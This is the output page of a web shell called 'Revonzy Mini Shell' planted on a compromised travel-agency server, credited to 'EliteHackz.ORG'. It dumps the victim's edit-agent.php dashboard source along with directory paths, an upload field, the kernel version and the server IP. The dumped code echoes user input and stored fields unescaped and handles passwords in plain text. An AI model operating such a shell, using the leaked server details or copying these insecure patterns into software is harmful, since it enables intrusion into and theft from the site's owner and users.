Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/edit-agent.php

<?php 
require_once('lib/functions.php');
$db	= new class_functions();

$flag = 0;

$res_edit_id = "";
if(isset($_GET['edit_id'])){
    $res_edit_id = $_GET['edit_id'];
    $_SESSION['edit_id'] = $res_edit_id;  
}
echo $res_edit_id	 = $_SESSION['edit_id'];

if (isset($_POST['address'])) 
	{
			$emp_code 	  			= $_POST['emp_code'];
			$full_name 	  		= $_POST['full_name'];
			$email_id			= $_POST['email_id'];
			$mobile_no	= $_POST['mobile_no'];		
			$address 		= $_POST['address'];
			$password 				= $_POST['password'];			


	   if($db->update_agent_record($emp_code,$full_name,$email_id,$mobile_no,$address,$password,$res_edit_id))
	   {
		   $flag =1;
	   }
	}

$users_data = array();
$users_data = $db->get_agent_data_from_id($res_edit_id);
//print_r($users_data);
if(!empty($users_data))
{
    $res_id 			= $users_data['id'];
	$emp_code 			= $users_data['emp_code'];
    $full_name 			= $users_data['full_name'];
    $email_id 			= $users_data['email_id'];
    $mobile_no 			= $users_data['mobile_no'];
	$address			= $users_data['address'];
	$password 			= $users_data['password'];
    $res_date 			= $users_data['date'];
    $res_time 			= $users_data['time'];
}

?>
<!doctype html>
<html lang="en" dir="ltr">
  <head>
   <?php
		require_once('header-common.php');
   ?>
   <Style>
		.user_measurement
		{
			margin:0px;
			padding :0px;
			font-Size:13px !important;
		}
		.user_measurement_div
		{
			margin:0px;
			padding :0px;
			margin-left :2px;
			margin-bottom :0px;
			display:inline-table;
		}
   </Style>
  </head>
  <body class="  ">
    <!-- loader Start -->
    <div id="loading">
      <div class="loader simple-loader">
          <div class="loader-body"></div>
      </div>    </div>
    <!-- loader END -->
    
    <aside class="sidebar sidebar-default sidebar-white sidebar-base navs-rounded-all ">
        <div class="sidebar-header d-flex align-items-center justify-content-start">
            <a href="index.php" class="navbar-brand">
				<img src="images/<?php echo $logo; ?>" class="software_logo" style="height:90px; width:220px;" />
            </a>
            <div class="sidebar-toggle" data-toggle="sidebar" data-active="true">
                <i class="icon">
                    <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M4.25 12.2744L19.25 12.2744" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M10.2998 18.2988L4.2498 12.2748L10.2998 6.24976" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                </i>
            </div>
        </div>
        
		<?php
		require_once('left-side.php');
	?>
		<div class="sidebar-footer"></div>
    </aside>   
	<main class="main-content">
    	<?php
			require_once('navbar.php');
		?>
	  
      <div class="conatiner-fluid content-inner mt-n5 py-0">
<div class="row">
    <div class="col-sm-12">
        <div class="card">
		
			<?php
			
				if($flag == 1)
				{
			?>
				<div class="mb-3 alert alert-left alert-success alert-dismissible fade show" role="alert" style="width:80%; margin:auto; margin-top:25px;">
					<span>Agent Update Record Saved Successfully</span>
					<button type="submit" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
				</div>
				<script> 
				alert ("Record Updated Successfully");
				window.location = "measurement-report.php"
				</script>
			<?php
				}
			?>
			
		
            <div class="card-header d-flex justify-content-between flex-wrap">
                <div class="header-title">
                    <h4 class="card-title mb-0">Agent Record</h4>
                </div>
				
				    <div class="card-body">
						<div class="table-responsive">
                            <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
                              <div class="row">
                                 <div class="col-lg-6">
                                    <div class="form-group">
                                       <label for="full-name" class="form-label">Agent Code</label>
                                       <input type="text" name="emp_code" class="form-control" id="full-name" value="<?php echo $emp_code; ?>" placeholder=" " required />
                                    </div>
                                 </div>
                                 <div class="col-lg-6">
                                    <div class="form-group">
                                       <label for="last-name" class="form-label">Agent Full Name</label>
                                       <input type="text" name="full_name" class="form-control" id="last-name" value="<?php echo $full_name; ?>" placeholder=" " required />
                                    </div>
                                 </div>
                                 <div class="col-lg-6">
                                    <div class="form-group">
                                       <label for="email" class="form-label">Agent Email</label>
                                       <input type="email" name="email_id" class="form-control" id="email" value="<?php echo $email_id; ?>" placeholder=" " required />
                                    </div>
                                 </div>
                                 <div class="col-lg-6">
                                    <div class="form-group">
                                       <label for="phone" class="form-label">Agent Mobile No.</label>
                                       <input type="text" class="form-control" name="mobile_no" id="phone" value="<?php echo $mobile_no; ?>" placeholder=" " required />
                                    </div>
                                 </div>
                                 <div class="col-lg-6">
                                    <div class="form-group">
                                       <label for="password" class="form-label">Agent Address</label>
                                       <input type="text" class="form-control" name="address" id="password" value="<?php echo $address; ?>" placeholder=" " required />
                                    </div>
                                 </div>
                                 <div class="col-lg-6">
                                    <div class="form-group">
                                       <label for="confirm-password" class="form-label">Password</label>
                                       <input type="password" name="password" class="form-control" id="confirm-password" value="<?php echo $password; ?>" placeholder=" " required />
                                    </div>
                                 </div>
                              </div>
                              <div class="d-flex justify-content-center">
                                 <button type="submit" class="btn btn-primary">update / Save</button>
                              </div>
							  
							  <br />
							</form>
						</div>
					</div>
        </div>
	</div>
</div>
</div>
    
    <!-- Library Bundle Script -->
    <script src="../assets/js/core/libs.min.js"></script>
    
    <!-- External Library Bundle Script -->
    <script src="../assets/js/core/external.min.js"></script>
    
    <!-- Widgetchart Script -->
    <script src="../assets/js/charts/widgetcharts.js"></script>
    
    <!-- mapchart Script -->
    <script src="../assets/js/charts/vectore-chart.js"></script>
    <script src="../assets/js/charts/dashboard.js" ></script>
    
    <!-- fslightbox Script -->
    <script src="../assets/js/plugins/fslightbox.js"></script>
    
    <!-- Settings Script -->
    <script src="../assets/js/plugins/setting.js"></script>
    
    <!-- Slider-tab Script -->
    <script src="../assets/js/plugins/slider-tabs.js"></script>
    
    <!-- Form Wizard Script -->
    <script src="../assets/js/plugins/form-wizard.js"></script>
    
    <!-- AOS Animation Plugin-->
    <script src="../assets/vendor/aos/dist/aos.js"></script>
    
    <!-- App Script -->
    <script src="../assets/js/hope-ui.js" defer></script>
     <style>
	.sidebar.sidebar-default .nav-link:not(.static-item).active , .sidebar.sidebar-default .nav-link:not(.static-item).active, .sidebar.sidebar-default .nav-link:not(.static-item)[aria-expanded=true]
	{
		background-color:#FE6600 !important;
	}
	</style>
  </body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4